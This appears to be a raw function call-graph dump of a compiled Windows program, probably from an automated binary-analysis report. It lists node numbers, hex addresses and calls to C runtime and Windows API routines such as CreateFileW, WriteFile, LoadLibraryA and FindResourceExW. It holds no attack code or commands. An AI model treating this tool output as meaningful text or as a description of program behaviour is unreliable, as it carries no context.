101636->101634 101639 2b4c70 101637->101639 101638->101637 101640 2d0db6 Mailbox 59 API calls 101639->101640 101641 2b4c85 101640->101641 101642 2b522e 59 API calls 101641->101642 101643 2b4c91 _memmove 101642->101643 101644 2b4ccc 101643->101644 101645 2b4d89 101643->101645 101646 2b4dc1 101643->101646 101647 2b4ec7 69 API calls 101644->101647 101839 2b4e89 CreateStreamOnHGlobal 101645->101839 101850 31991b 95 API calls 101646->101850 101651 2b4cd5 101647->101651 101650 2b4f0b 74 API calls 101650->101651 101651->101650 101653 2b4d69 101651->101653 101654 2ed8a7 101651->101654 101845 2b4ee5 101651->101845 101653->101535 101655 2b4ee5 85 API calls 101654->101655 101656 2ed8bb 101655->101656 101657 2b4f0b 74 API calls 101656->101657 101657->101653 101659 2ed9cd 101658->101659 101660 2b4f1d 101658->101660 101874 2d55e2 101660->101874 101663 319109 101894 318f5f 101663->101894 101665 31911f 101665->101543 101667 2b4ed6 101666->101667 101668 2ed990 101666->101668 101899 2d5c60 101667->101899 101670 2b4ede 101670->101545 101672 2b4bd0 101671->101672 101673 2b4c0c LoadLibraryA 101671->101673 101672->101627 101672->101628 101673->101672 101674 2b4c1d GetProcAddress 101673->101674 101674->101672 101677 2d527c __write 101675->101677 101676 2d528f 101724 2d8b28 58 API calls __getptd_noexit 101676->101724 101677->101676 101679 2d52c0 101677->101679 101694 2e04e8 101679->101694 101680 2d5294 101725 2d8db6 9 API calls __Wcsftime_l 101680->101725 101683 2d52c5 101684 2d52ce 101683->101684 101685 2d52db 101683->101685 101726 2d8b28 58 API calls __getptd_noexit 101684->101726 101687 2d5305 101685->101687 101688 2d52e5 101685->101688 101709 2e0607 101687->101709 101727 2d8b28 58 API calls __getptd_noexit 101688->101727 101689 2d529f __write @_EH4_CallFilterFunc@8 101689->101631 101695 2e04f4 __write 101694->101695 101696 2d9c0b __lock 58 API calls 101695->101696 101697 2e0502 101696->101697 101698 2e057d 101697->101698 101703 2d9c93 __mtinitlocknum 58 API calls 101697->101703 101707 2e0576 101697->101707 101732 2d6c50 59 API calls __lock 101697->101732 101733 2d6cba LeaveCriticalSection LeaveCriticalSection _doexit 101697->101733 101734 2d881d 58 API calls 2 library calls 101698->101734 101701 2e0584 101701->101707 101735 2d9e2b InitializeCriticalSectionAndSpinCount 101701->101735 101703->101697 101705 2e05f3 __write 101705->101683 101706 2e05aa EnterCriticalSection 101706->101707 101729 2e05fe 101707->101729 101718 2e0627 __wopenfile 101709->101718 101710 2e0641 101740 2d8b28 58 API calls __getptd_noexit 101710->101740 101712 2e07fc 101712->101710 101716 2e085f 101712->101716 101713 2e0646 101741 2d8db6 9 API calls __Wcsftime_l 101713->101741 101715 2d5310 101728 2d5332 LeaveCriticalSection LeaveCriticalSection _fprintf 101715->101728 101737 2e85a1 101716->101737 101718->101710 101718->101712 101718->101718 101742 2d37cb 60 API calls 2 library calls 101718->101742 101720 2e07f5 101720->101712 101743 2d37cb 60 API calls 2 library calls 101720->101743 101722 2e0814 101722->101712 101744 2d37cb 60 API calls 2 library calls 101722->101744 101724->101680 101725->101689 101726->101689 101727->101689 101728->101689 101736 2d9d75 LeaveCriticalSection 101729->101736 101731 2e0605 101731->101705 101732->101697 101733->101697 101734->101701 101735->101706 101736->101731 101745 2e7d85 101737->101745 101739 2e85ba 101739->101715 101740->101713 101741->101715 101742->101720 101743->101722 101744->101712 101746 2e7d91 __write 101745->101746 101747 2e7da7 101746->101747 101750 2e7ddd 101746->101750 101832 2d8b28 58 API calls __getptd_noexit 101747->101832 101749 2e7dac 101833 2d8db6 9 API calls __Wcsftime_l 101749->101833 101756 2e7e4e 101750->101756 101753 2e7df9 101834 2e7e22 LeaveCriticalSection __unlock_fhandle 101753->101834 101755 2e7db6 __write 101755->101739 101757 2e7e6e 101756->101757 101758 2d44ea __wsopen_nolock 58 API calls 101757->101758 101762 2e7e8a 101758->101762 101759 2e7fc1 101760 2d8dc6 __invoke_watson 8 API calls 101759->101760 101761 2e85a0 101760->101761 101764 2e7d85 __wsopen_helper 103 API calls 101761->101764 101762->101759 101763 2e7ec4 101762->101763 101771 2e7ee7 101762->101771 101765 2d8af4 __write 58 API calls 101763->101765 101766 2e85ba 101764->101766 101767 2e7ec9 101765->101767 101766->101753 101768 2d8b28 __Wcsftime_l 58 API calls 101767->101768 101769 2e7ed6 101768->101769 101772 2d8db6 __Wcsftime_l 9 API calls 101769->101772 101770 2e7fa5 101773 2d8af4 __write 58 API calls 101770->101773 101771->101770 101778 2e7f83 101771->101778 101774 2e7ee0 101772->101774 101775 2e7faa 101773->101775 101774->101753 101776 2d8b28 __Wcsftime_l 58 API calls 101775->101776 101777 2e7fb7 101776->101777 101779 2d8db6 __Wcsftime_l 9 API calls 101777->101779 101780 2dd294 __alloc_osfhnd 61 API calls 101778->101780 101779->101759 101781 2e8051 101780->101781 101782 2e807e 101781->101782 101783 2e805b 101781->101783 101785 2e7cfd ___createFile GetModuleHandleW GetProcAddress CreateFileW 101782->101785 101784 2d8af4 __write 58 API calls 101783->101784 101786 2e8060 101784->101786 101796 2e80a0 101785->101796 101787 2d8b28 __Wcsftime_l 58 API calls 101786->101787 101789 2e806a 101787->101789 101788 2e811e GetFileType 101790 2e816b 101788->101790 101791 2e8129 GetLastError 101788->101791 101794 2d8b28 __Wcsftime_l 58 API calls 101789->101794 101800 2dd52a __set_osfhnd 59 API calls 101790->101800 101795 2d8b07 __dosmaperr 58 API calls 101791->101795 101792 2e80ec GetLastError 101793 2d8b07 __dosmaperr 58 API calls 101792->101793 101797 2e8111 101793->101797 101794->101774 101798 2e8150 CloseHandle 101795->101798 101796->101788 101796->101792 101799 2e7cfd ___createFile GetModuleHandleW GetProcAddress CreateFileW 101796->101799 101803 2d8b28 __Wcsftime_l 58 API calls 101797->101803 101798->101797 101801 2e815e 101798->101801 101802 2e80e1 101799->101802 101807 2e8189 101800->101807 101804 2d8b28 __Wcsftime_l 58 API calls 101801->101804 101802->101788 101802->101792 101803->101759 101805 2e8163 101804->101805 101805->101797 101806 2e8344 101806->101759 101809 2e8517 CloseHandle 101806->101809 101807->101806 101808 2e18c1 __lseeki64_nolock 60 API calls 101807->101808 101824 2e820a 101807->101824 101810 2e81f3 101808->101810 101811 2e7cfd ___createFile GetModuleHandleW GetProcAddress CreateFileW 101809->101811 101813 2d8af4 __write 58 API calls 101810->101813 101830 2e8212 101810->101830 101812 2e853e 101811->101812 101814 2e83ce 101812->101814 101815 2e8546 GetLastError 101812->101815 101813->101824 101814->101759 101816 2d8b07 __dosmaperr 58 API calls 101815->101816 101818 2e8552 101816->101818 101817 2e18c1 60 API calls __lseeki64_nolock 101817->101830 101822 2dd43d __free_osfhnd 59 API calls 101818->101822 101819 2e0e5b 70 API calls __read_nolock 101819->101830 101820 2e0add __close_nolock 61 API calls 101820->101830 101821 2e97a2 __chsize_nolock 82 API calls 101821->101830 101822->101814 101823 2dd886 __write 78 API calls 101823->101824 101824->101806 101824->101823 101826 2e18c1 60 API calls __lseeki64_nolock 101824->101826 101824->101830 101825 2e83c1 101828 2e0add __close_nolock 61 API calls 101825->101828 101826->101824 101827 2e83aa 101827->101806 101829 2e83c8 101828->101829 101831 2d8b28 __Wcsftime_l 58 API calls 101829->101831 101830->101817 101830->101819 101830->101820 101830->101821 101830->101824 101830->101825 101830->101827 101831->101814 101832->101749 101833->101755 101834->101755 101836 2b4b83 101835->101836 101837 2b4c3f LoadLibraryA 101835->101837 101836->101634 101836->101636 101837->101836 101838 2b4c50 GetProcAddress 101837->101838 101838->101836 101840 2b4ea3 FindResourceExW 101839->101840 101844 2b4ec0 101839->101844 101841 2ed933 LoadResource 101840->101841 101840->101844 101842 2ed948 SizeofResource 101841->101842 101841->101844 101843 2ed95c LockResource 101842->101843 101842->101844 101843->101844 101844->101644 101846 2ed9ab 101845->101846 101847 2b4ef4 101845->101847 101851 2d584d 101847->101851 101849 2b4f02 101849->101651 101850->101644 101853 2d5859 __write 101851->101853 101852 2d586b 101864 2d8b28 58 API calls __getptd_noexit 101852->101864 101853->101852 101854 2d5891 101853->101854 101866 2d6c11 101854->101866 101857 2d5870 101865 2d8db6 9 API calls __Wcsftime_l 101857->101865 101858 2d5897 101872 2d57be 83 API calls 5 library calls 101858->101872 101861 2d58a6 101873 2d58c8 LeaveCriticalSection LeaveCriticalSection _fprintf 101861->101873 101863 2d587b __write 101863->101849 101864->101857 101865->101863 101867 2d6c21 101866->101867 101868 2d6c43 EnterCriticalSection 101866->101868 101867->101868 101869 2d6c29 101867->101869 101870 2d6c39 101868->101870 101871 2d9c0b __lock 58 API calls 101869->101871 101870->101858 101871->101870 101872->101861 101873->101863 101877 2d55fd 101874->101877 101876 2b4f2e 101876->101663 101878 2d5609 __write 101877->101878 101879 2d564c 101878->101879 101880 2d561f _memset 101878->101880 101881 2d5644 __write 101878->101881 101882 2d6c11 __lock_file 59 API calls 101879->101882 101890 2d8b28 58 API calls __getptd_noexit 101880->101890 101881->101876 101884 2d5652 101882->101884 101892 2d541d 72 API calls 5 library calls 101884->101892 101885 2d5639 101891 2d8db6 9 API calls __Wcsftime_l 101885->101891 101888 2d5668 101893 2d5686 LeaveCriticalSection LeaveCriticalSection _fprintf 101888->101893 101890->101885 101891->101881 101892->101888 101893->101881 101897 2d520a GetSystemTimeAsFileTime 101894->101897 101896 318f6e 101896->101665 101898 2d5238 __aulldiv 101897->101898 101898->101896 101900 2d5c6c __write 101899->101900 101901 2d5c7e 101900->101901 101902 2d5c93 101900->101902 101913 2d8b28 58 API calls __getptd_noexit 101901->101913 101904 2d6c11 __lock_file 59 API calls 101902->101904 101906 2d5c99 101904->101906 101905 2d5c83 101914 2d8db6 9 API calls __Wcsftime_l 101905->101914 101915 2d58d0 67 API calls 6 library calls 101906->101915 101909 2d5ca4 101916 2d5cc4 LeaveCriticalSection LeaveCriticalSection _fprintf 101909->101916 101911 2d5cb6 101912 2d5c8e __write 101911->101912 101912->101670 101913->101905 101914->101912 101915->101909 101916->101911 101917->101552 101918->101565 101919->101567 101920->101563 101921->101572 101922->101575 101926 319748 __tzset_nolock _wcscmp 101923->101926 101924 2b4f0b 74 API calls 101924->101926 101925 319109 GetSystemTimeAsFileTime 101925->101926 101926->101924 101926->101925 101927 3195dc 101926->101927 101928 2b4ee5 85 API calls 101926->101928 101927->101583 101927->101610 101928->101926 101929->101609 101931 2d53b2 __write 101930->101931 101932 2d53de 101931->101932 101933 2d53c6 101931->101933 101936 2d6c11 __lock_file 59 API calls 101932->101936 101940 2d53d6 __write 101932->101940 101959 2d8b28 58 API calls __getptd_noexit 101933->101959 101935 2d53cb 101960 2d8db6 9 API calls __Wcsftime_l 101935->101960 101937 2d53f0 101936->101937 101943 2d533a 101937->101943 101940->101616 101944 2d535d 101943->101944 101945 2d5349 101943->101945 101957 2d5359 101944->101957 101962 2d4a3d 101944->101962 102005 2d8b28 58 API calls __getptd_noexit 101945->102005 101948 2d534e 102006 2d8db6 9 API calls __Wcsftime_l 101948->102006 101954 2d5377 101979 2e0a02 101954->101979 101956 2d537d 101956->101957 101958 2d2d55 _free 58 API calls 101956->101958 101961 2d5415 LeaveCriticalSection LeaveCriticalSection _fprintf 101957->101961 101958->101957 101959->101935 101960->101940 101961->101940 101963 2d4a50 101962->101963 101967 2d4a74 101962->101967 101964 2d46e6 __filbuf 58 API calls 101963->101964 101963->101967 101965 2d4a6d 101964->101965 102007 2dd886 101965->102007 101968 2e0b77 101967->101968 101969 2d5371 101968->101969 101970 2e0b84 101968->101970 101972 2d46e6 101969->101972 101970->101969 101971 2d2d55 _free 58 API calls 101970->101971 101971->101969 101973 2d4705 101972->101973 101974 2d46f0 101972->101974 101973->101954 102142 2d8b28 58 API calls __getptd_noexit 101974->102142 101976 2d46f5 102143 2d8db6 9 API calls __Wcsftime_l 101976->102143 101978 2d4700 101978->101954 101980 2e0a0e __write 101979->101980 101981 2e0a1b 101980->101981 101982 2e0a32 101980->101982 102159 2d8af4 58 API calls __getptd_noexit 101981->102159 101984 2e0abd 101982->101984 101985 2e0a42 101982->101985 102164 2d8af4 58 API calls __getptd_noexit 101984->102164 101988 2e0a6a 101985->101988 101989 2e0a60 101985->101989 101987 2e0a20 102160 2d8b28 58 API calls __getptd_noexit 101987->102160 101993 2dd206 ___lock_fhandle 59 API calls 101988->101993 102161 2d8af4 58 API calls __getptd_noexit 101989->102161 101990 2e0a65 102165 2d8b28 58 API calls __getptd_noexit 101990->102165 101995 2e0a70 101993->101995 101997 2e0a8e 101995->101997 101998 2e0a83 101995->101998 101996 2e0ac9 102166 2d8db6 9 API calls __Wcsftime_l 101996->102166 102162 2d8b28 58 API calls __getptd_noexit 101997->102162 102144 2e0add 101998->102144 101999 2e0a27 __write 101999->101956 102003 2e0a89 102163 2e0ab5 LeaveCriticalSection __unlock_fhandle 102003->102163 102005->101948 102006->101957 102008 2dd892 __write 102007->102008 102009 2dd89f 102008->102009 102010 2dd8b6 102008->102010 102108 2d8af4 58 API calls __getptd_noexit 102009->102108 102012 2dd955 102010->102012 102014 2dd8ca 102010->102014 102114 2d8af4 58 API calls __getptd_noexit 102012->102114 102013 2dd8a4 102109 2d8b28 58 API calls __getptd_noexit 102013->102109 102017 2dd8e8 102014->102017 102018 2dd8f2 102014->102018 102110 2d8af4 58 API calls __getptd_noexit 102017->102110 102035 2dd206 102018->102035 102019 2dd8ed 102115 2d8b28 58 API calls __getptd_noexit 102019->102115 102022 2dd8f8 102024 2dd91e 102022->102024 102025 2dd90b 102022->102025 102111 2d8b28 58 API calls __getptd_noexit 102024->102111 102044 2dd975 102025->102044 102026 2dd961 102116 2d8db6 9 API calls __Wcsftime_l 102026->102116 102030 2dd8ab __write 102030->101967 102031 2dd917 102113 2dd94d LeaveCriticalSection __unlock_fhandle 102031->102113 102032 2dd923 102112 2d8af4 58 API calls __getptd_noexit 102032->102112 102036 2dd212 __write 102035->102036 102037 2dd261 EnterCriticalSection 102036->102037 102039 2d9c0b __lock 58 API calls 102036->102039 102038 2dd287 __write 102037->102038 102038->102022 102040 2dd237 102039->102040 102041 2dd24f 102040->102041 102117 2d9e2b InitializeCriticalSectionAndSpinCount 102040->102117 102118 2dd28b LeaveCriticalSection _doexit 102041->102118 102045 2dd982 __ftell_nolock 102044->102045 102046 2dd9c1 102045->102046 102047 2dd9e0 102045->102047 102072 2dd9b6 102045->102072 102128 2d8af4 58 API calls __getptd_noexit 102046->102128 102050 2dda38 102047->102050 102051 2dda1c 102047->102051 102048 2dc5f6 __call_reportfault 6 API calls 102052 2de1d6 102048->102052 102055 2dda51 102050->102055 102134 2e18c1 60 API calls 3 library calls 102050->102134 102131 2d8af4 58 API calls __getptd_noexit 102051->102131 102052->102031 102053 2dd9c6 102129 2d8b28 58 API calls __getptd_noexit 102053->102129 102119 2e5c6b 102055->102119 102057 2dda21 102132 2d8b28 58 API calls __getptd_noexit 102057->102132 102059 2dd9cd 102130 2d8db6 9 API calls __Wcsftime_l 102059->102130 102061 2dda5f 102064 2dddb8 102061->102064 102135 2d99ac 58 API calls 2 library calls 102061->102135 102066 2de14b WriteFile 102064->102066 102067 2dddd6 102064->102067 102065 2dda28 102133 2d8db6 9 API calls __Wcsftime_l 102065->102133 102070 2dddab GetLastError 102066->102070 102076 2ddd78 102066->102076 102071 2ddefa 102067->102071 102079 2dddec 102067->102079 102070->102076 102082 2ddfef 102071->102082 102084 2ddf05 102071->102084 102072->102048 102073 2dda8b GetConsoleMode 102073->102064 102075 2ddaca 102073->102075 102074 2de184 102074->102072 102140 2d8b28 58 API calls __getptd_noexit 102074->102140 102075->102064 102077 2ddada GetConsoleCP 102075->102077 102076->102072 102076->102074 102081 2dded8 102076->102081 102077->102074 102105 2ddb09 102077->102105 102078 2dde5b WriteFile 102078->102070 102083 2dde98 102078->102083 102079->102074 102079->102078 102087 2de17b 102081->102087 102088 2ddee3 102081->102088 102082->102074 102089 2de064 WideCharToMultiByte 102082->102089 102083->102079 102090 2ddebc 102083->102090 102084->102074 102091 2ddf6a WriteFile 102084->102091 102085 2de1b2 102141 2d8af4 58 API calls __getptd_noexit 102085->102141 102139 2d8b07 58 API calls 3 library calls 102087->102139 102137 2d8b28 58 API calls __getptd_noexit 102088->102137 102089->102070 102100 2de0ab 102089->102100 102090->102076 102091->102070 102092 2ddfb9 102091->102092 102092->102076 102092->102084 102092->102090 102095 2ddee8 102138 2d8af4 58 API calls __getptd_noexit 102095->102138 102096 2de0b3 WriteFile 102099 2de106 GetLastError 102096->102099 102096->102100 102099->102100 102100->102076 102100->102082 102100->102090 102100->102096 102101 2e7a5e WriteConsoleW CreateFileW __putwch_nolock 102106 2ddc5f 102101->102106 102102 2e62ba 60 API calls __write_nolock 102102->102105 102103 2ddbf2 WideCharToMultiByte 102103->102076 102104 2ddc2d WriteFile 102103->102104 102104->102070 102104->102106 102105->102076 102105->102102 102105->102103 102105->102106 102136 2d35f5 58 API calls __isleadbyte_l 102105->102136 102106->102070 102106->102076 102106->102101 102106->102105 102107 2ddc87 WriteFile 102106->102107 102107->102070 102107->102106 102108->102013 102109->102030 102110->102019 102111->102032 102112->102031 102113->102030 102114->102019 102115->102026 102116->102030 102117->102041 102118->102037 102120 2e5c76 102119->102120 102122 2e5c83 102119->102122 102121 2d8b28 __Wcsftime_l 58 API calls 102120->102121 102123 2e5c7b 102121->102123 102124 2e5c8f 102122->102124 102125 2d8b28 __Wcsftime_l 58 API calls 102122->102125 102123->102061 102124->102061 102126 2e5cb0 102125->102126 102127 2d8db6 __Wcsftime_l 9 API calls 102126->102127 102127->102123 102128->102053 102129->102059 102130->102072 102131->102057 102132->102065 102133->102072 102134->102055 102135->102073 102136->102105 102137->102095 102138->102072 102139->102072 102140->102085 102141->102072 102142->101976 102143->101978 102167 2dd4c3 102144->102167 102146 2e0b41 102180 2dd43d 59 API calls 2 library calls 102146->102180 102148 2e0aeb 102148->102146 102151 2dd4c3 __chsize_nolock 58 API calls 102148->102151 102158 2e0b1f 102148->102158 102149 2dd4c3 __chsize_nolock 58 API calls 102152 2e0b2b CloseHandle 102149->102152 102150 2e0b49 102153 2e0b6b 102150->102153 102181 2d8b07 58 API calls 3 library calls 102150->102181 102154 2e0b16 102151->102154 102152->102146 102155 2e0b37 GetLastError 102152->102155 102153->102003 102157 2dd4c3 __chsize_nolock 58 API calls 102154->102157 102155->102146 102157->102158 102158->102146 102158->102149 102159->101987 102160->101999 102161->101990 102162->102003 102163->101999 102164->101990 102165->101996 102166->101999 102168 2dd4ce 102167->102168 102169 2dd4e3 102167->102169 102182 2d8af4 58 API calls __getptd_noexit 102168->102182 102174 2dd508 102169->102174 102184 2d8af4 58 API calls __getptd_noexit 102169->102184 102171 2dd4d3 102183 2d8b28 58 API calls __getptd_noexit 102171->102183 102174->102148 102175 2dd512 102185 2d8b28 58 API calls __getptd_noexit 102175->102185 102177 2dd4db 102177->102148 102178 2dd51a 102186 2d8db6 9 API calls __Wcsftime_l 102178->102186 102180->102150 102181->102153 102182->102171 102183->102177 102184->102175 102185->102178 102186->102177 102188 2d079e __ftell_nolock 102187->102188 102189 2d079f GetLongPathNameW 102188->102189 102190 2b7bcc 59 API calls 102189->102190 102191 2b72bd 102190->102191 102192 2b700b 102191->102192 102193 2b7667 59 API calls 102192->102193 102194 2b701d 102193->102194 102195 2b4750 60 API calls 102194->102195 102196 2b7028 102195->102196 102197 2b7033 102196->102197 102198 2ee885 102196->102198 102199 2b3f74 59 API calls 102197->102199 102203 2ee89f 102198->102203 102245 2b7908 61 API calls 102198->102245 102201 2b703f 102199->102201 102239 2b34c2 102201->102239 102204 2b7052 Mailbox 102204->101401 102206 2b4ddd 136 API calls 102205->102206 102207 2b688f 102206->102207 102208 2ee031 102207->102208 102209 2b4ddd 136 API calls 102207->102209 102210 31955b 122 API calls 102208->102210 102211 2b68a3 102209->102211 102212 2ee046 102210->102212 102211->102208 102213 2b68ab 102211->102213 102214 2ee04a 102212->102214 102215 2ee067 102212->102215 102217 2ee052 102213->102217 102218 2b68b7 102213->102218 102219 2b4e4a 84 API calls 102214->102219 102216 2d0db6 Mailbox 59 API calls 102215->102216 102230 2ee0ac Mailbox 102216->102230 102339 3142f8 90 API calls _wprintf 102217->102339 102246 2b6a8c 102218->102246 102219->102217 102223 2ee060 102223->102215 102224 2ee260 102225 2d2d55 _free 58 API calls 102224->102225 102226 2ee268 102225->102226 102227 2b4e4a 84 API calls 102226->102227 102229 2ee271 102227->102229 102233 2d2d55 _free 58 API calls 102229->102233 102234 2b4e4a 84 API calls 102229->102234 102345 30f7a1 89 API calls 4 library calls 102229->102345 102230->102224 102230->102229 102236 2b7de1 59 API calls 102230->102236 102340 30f73d 59 API calls 2 library calls 102230->102340 102341 30f65e 61 API calls 2 library calls 102230->102341 102342 31737f 59 API calls Mailbox 102230->102342 102343 2b750f 59 API calls 2 library calls 102230->102343 102344 2b735d 59 API calls Mailbox 102230->102344 102233->102229 102234->102229 102236->102230 102240 2b34d4 102239->102240 102244 2b34f3 _memmove 102239->102244 102243 2d0db6 Mailbox 59 API calls 102240->102243 102241 2d0db6 Mailbox 59 API calls 102242 2b350a 102241->102242 102242->102204 102243->102244 102244->102241 102245->102198 102247 2ee41e 102246->102247 102248 2b6ab5 102246->102248 102418 30f7a1 89 API calls 4 library calls 102247->102418 102351 2b57a6 60 API calls Mailbox 102248->102351 102251 2b6ad7 102352 2b57f6 67 API calls 102251->102352 102252 2ee431 102419 30f7a1 89 API calls 4 library calls 102252->102419 102254 2b6aec 102254->102252 102255 2b6af4 102254->102255 102257 2b7667 59 API calls 102255->102257 102259 2b6b00 102257->102259 102258 2ee44d 102260 2b6b61 102258->102260 102353 2d0957 60 API calls __ftell_nolock 102259->102353 102262 2b6b6f 102260->102262 102263 2ee460 102260->102263 102266 2b7667 59 API calls 102262->102266 102265 2b5c6f CloseHandle 102263->102265 102264 2b6b0c 102267 2b7667 59 API calls 102264->102267 102268 2ee46c 102265->102268 102269 2b6b78 102266->102269 102270 2b6b18 102267->102270 102271 2b4ddd 136 API calls 102268->102271 102272 2b7667 59 API calls 102269->102272 102273 2b4750 60 API calls 102270->102273 102275 2ee488 102271->102275 102276 2b6b81 102272->102276 102274 2b6b26 102273->102274 102354 2b5850 ReadFile SetFilePointerEx 102274->102354 102278 2ee4b1 102275->102278 102281 31955b 122 API calls 102275->102281 102356 2b459b 102276->102356 102420 30f7a1 89 API calls 4 library calls 102278->102420 102280 2b6b52 102355 2b5aee SetFilePointerEx SetFilePointerEx 102280->102355 102285 2ee4a4 102281->102285 102282 2b6b98 102286 2b7b2e 59 API calls 102282->102286 102288 2ee4ac 102285->102288 102289 2ee4cd 102285->102289 102290 2b6ba9 SetCurrentDirectoryW 102286->102290 102287 2ee4c8 102317 2b6d0c Mailbox 102287->102317 102292 2b4e4a 84 API calls 102288->102292 102291 2b4e4a 84 API calls 102289->102291 102295 2b6bbc Mailbox 102290->102295 102293 2ee4d2 102291->102293 102292->102278 102294 2d0db6 Mailbox 59 API calls 102293->102294 102301 2ee506 102294->102301 102297 2d0db6 Mailbox 59 API calls 102295->102297 102299 2b6bcf 102297->102299 102298 2b3bbb 102298->101268 102298->101291 102300 2b522e 59 API calls 102299->102300 102328 2b6bda Mailbox __wsetenvp 102300->102328 102421 2b750f 59 API calls 2 library calls 102301->102421 102303 2b6ce7 102414 2b5c6f 102303->102414 102306 2ee740 102427 3172df 59 API calls Mailbox 102306->102427 102307 2b6cf3 SetCurrentDirectoryW 102307->102317 102310 2ee762 102428 32fbce 59 API calls 2 library calls 102310->102428 102313 2ee76f 102314 2d2d55 _free 58 API calls 102313->102314 102314->102317 102315 2ee7d9 102431 30f7a1 89 API calls 4 library calls 102315->102431 102346 2b57d4 102317->102346 102320 2ee7f2 102320->102303 102322 2ee7d1 102430 30f5f7 59 API calls 4 library calls 102322->102430 102325 2b7de1 59 API calls 102325->102328 102328->102303 102328->102315 102328->102322 102328->102325 102407 2b586d 67 API calls _wcscpy 102328->102407 102408 2b6f5d GetStringTypeW 102328->102408 102409 2b6ecc 60 API calls __wcsnicmp 102328->102409 102410 2b6faa GetStringTypeW __wsetenvp 102328->102410 102411 2d363d GetStringTypeW _iswctype 102328->102411 102412 2b68dc 165 API calls 3 library calls 102328->102412 102413 2b7213 59 API calls Mailbox 102328->102413 102329 2b7de1 59 API calls 102334 2ee54f Mailbox 102329->102334 102333 2ee792 102429 30f7a1 89 API calls 4 library calls 102333->102429 102334->102306 102334->102329 102334->102333 102422 30f73d 59 API calls 2 library calls 102334->102422 102423 30f65e 61 API calls 2 library calls 102334->102423 102424 31737f 59 API calls Mailbox 102334->102424 102425 2b750f 59 API calls 2 library calls 102334->102425 102426 2b7213 59 API calls Mailbox 102334->102426 102336 2ee7ab 102337 2d2d55 _free 58 API calls 102336->102337 102338 2ee7be 102337->102338 102338->102317 102339->102223 102340->102230 102341->102230 102342->102230 102343->102230 102344->102230 102345->102229 102347 2b5c6f CloseHandle 102346->102347 102348 2b57dc Mailbox 102347->102348 102349 2b5c6f CloseHandle 102348->102349 102350 2b57eb 102349->102350 102350->102298 102351->102251 102352->102254 102353->102264 102354->102280 102355->102260 102357 2b7667 59 API calls 102356->102357 102358 2b45b1 102357->102358 102359 2b7667 59 API calls 102358->102359 102360 2b45b9 102359->102360 102361 2b7667 59 API calls 102360->102361 102362 2b45c1 102361->102362 102363 2b7667 59 API calls 102362->102363 102364 2b45c9 102363->102364 102365 2b45fd 102364->102365 102366 2ed4d2 102364->102366 102367 2b784b 59 API calls 102365->102367 102368 2b8047 59 API calls 102366->102368 102369 2b460b 102367->102369 102370 2ed4db 102368->102370 102371 2b7d2c 59 API calls 102369->102371 102372 2b7d8c 59 API calls 102370->102372 102373 2b4615 102371->102373 102375 2b4640 102372->102375 102374 2b784b 59 API calls 102373->102374 102373->102375 102378 2b4636 102374->102378 102376 2b4680 102375->102376 102379 2b465f 102375->102379 102389 2ed4fb 102375->102389 102377 2b784b 59 API calls 102376->102377 102380 2b4691 102377->102380 102381 2b7d2c 59 API calls 102378->102381 102383 2b79f2 59 API calls 102379->102383 102384 2b46a3 102380->102384 102387 2b8047 59 API calls 102380->102387 102381->102375 102382 2ed5cb 102385 2b7bcc 59 API calls 102382->102385 102386 2b4669 102383->102386 102388 2b46b3 102384->102388 102391 2b8047 59 API calls 102384->102391 102397 2ed588 102385->102397 102386->102376 102390 2b784b 59 API calls 102386->102390 102387->102384 102393 2b46ba 102388->102393 102394 2b8047 59 API calls 102388->102394 102389->102382 102392 2ed5b4 102389->102392 102404 2ed532 102389->102404 102390->102376 102391->102388 102392->102382 102399 2ed59f 102392->102399 102395 2b46c1 Mailbox 102393->102395 102396 2b8047 59 API calls 102393->102396 102394->102393 102395->102282 102396->102395 102397->102376 102398 2b79f2 59 API calls 102397->102398 102432 2b7924 59 API calls 2 library calls 102397->102432 102398->102397 102401 2b7bcc 59 API calls 102399->102401 102400 2ed590 102402 2b7bcc 59 API calls 102400->102402 102401->102397 102402->102397 102404->102400 102405 2ed57b 102404->102405 102406 2b7bcc 59 API calls 102405->102406 102406->102397 102407->102328 102408->102328 102409->102328 102410->102328 102411->102328 102412->102328 102413->102328 102415 2b5c79 102414->102415 102416 2b5c88 102414->102416 102415->102307 102416->102415 102417 2b5c8d CloseHandle 102416->102417 102417->102415 102418->102252 102419->102258 102420->102287 102421->102334 102422->102334 102423->102334 102424->102334 102425->102334 102426->102334 102427->102310 102428->102313 102429->102336 102430->102315 102431->102320 102432->102397 102434 2b6d95 102433->102434 102439 2b6ea9 102433->102439 102435 2d0db6 Mailbox 59 API calls 102434->102435 102434->102439 102437 2b6dbc 102435->102437 102436 2d0db6 Mailbox 59 API calls 102443 2b6e31 102436->102443 102437->102436 102439->101407 102443->102439 102446 2b6240 102443->102446 102471 2b735d 59 API calls Mailbox 102443->102471 102472 306553 59 API calls Mailbox 102443->102472 102473 2b750f 59 API calls 2 library calls 102443->102473 102444->101410 102445->101412 102447 2b7a16 59 API calls 102446->102447 102466 2b6265 102447->102466 102448 2b646a 102476 2b750f 59 API calls 2 library calls 102448->102476 102450 2b6484 Mailbox 102450->102443 102453 2b750f 59 API calls 102453->102466 102454 2edff6 102479 30f8aa 91 API calls 4 library calls 102454->102479 102458 2ee004 102480 2b750f 59 API calls 2 library calls 102458->102480 102459 2b7d8c 59 API calls 102459->102466 102461 2ee01a 102461->102450 102462 2b6799 _memmove 102481 30f8aa 91 API calls 4 library calls 102462->102481 102463 2edf92 102464 2b8029 59 API calls 102463->102464 102465 2edf9d 102464->102465 102470 2d0db6 Mailbox 59 API calls 102465->102470 102466->102448 102466->102453 102466->102454 102466->102459 102466->102462 102466->102463 102468 2b7e4f 59 API calls 102466->102468 102474 2b5f6c 60 API calls 102466->102474 102475 2b5d41 59 API calls Mailbox 102466->102475 102477 2b5e72 60 API calls 102466->102477 102478 2b7924 59 API calls 2 library calls 102466->102478 102469 2b643b CharUpperBuffW 102468->102469 102469->102466 102470->102462 102471->102443 102472->102443 102473->102443 102474->102466 102475->102466 102476->102450 102477->102466 102478->102466 102479->102458 102480->102461 102481->102450 102482->101425 102483->101426 102485 2be6d5 102484->102485 102486 2f3aa9 102485->102486 102490 2be73f 102485->102490 102494 2be799 102485->102494 102487 2b9ea0 331 API calls 102486->102487 102488 2f3abe 102487->102488 102514 2be970 Mailbox 102488->102514 102557 319e4a 89 API calls 4 library calls 102488->102557 102489 2b7667 59 API calls 102489->102494 102492 2b7667 59 API calls 102490->102492 102490->102494 102495 2f3b04 102492->102495 102493 2d2d40 __cinit 67 API calls 102493->102494 102494->102489 102494->102493 102497 2f3b26 102494->102497 102499 2be95a 102494->102499 102494->102514 102496 2d2d40 __cinit 67 API calls 102495->102496 102496->102494 102497->101494 102498 2b84c0 69 API calls 